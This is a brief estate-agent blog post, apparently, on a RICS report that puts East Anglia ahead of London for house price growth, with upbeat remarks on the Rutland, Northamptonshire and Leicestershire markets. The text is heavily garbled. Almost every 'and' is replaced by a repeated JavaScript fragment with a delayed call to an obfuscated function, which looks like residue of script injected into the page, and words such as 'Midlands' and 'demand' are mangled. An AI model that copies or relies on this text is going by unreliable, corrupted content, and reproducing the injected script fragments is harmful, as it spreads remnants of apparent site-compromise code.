East Anglia overtakes London with fastest house price growth!

Good to see this headline in the weekend newspapers.

British property values reported sustained price increases in November andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a record shortage of houses to sell, according to a new report by The Royal Institution of Chartered Surveyors (RICS).

East Anglia saw the “firmest” price increase, with the proportion of RICS members reporting rising prices minus those reporting falls – the net balance – standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding at 67%, followed by the South East andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands. It was also the RICS members in East Anglia who were most confident about the outlook for price growth over the coming 12 months.

It seems demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is strong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there is a shortage of property coming to the market, prompting price rises. Indeed this trend is mirrored in the UK market as a whole with the number of properties coming on the market in the UK as a whole falling for the tenth consecutive month.

House prices are likely to continue to rise across the UK, driven by this on-going shortage of properties coming on to the market. However, it said “punitive” changes to the stamp duty regime announced a year ago appeared to have taken their toll on the top end of the London market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and subdued sales volumes.

The strong demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and still limited supply in the short term is likely to drive prices up yet further in our markets in Oakham, Rutlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Northamptonshire andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Leicestershire. It is encouraging data, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some of you may note, that in our 2015 predictions we predicted “East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and East of Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and” to outperform; so it is good to have this news, albeit late in the year!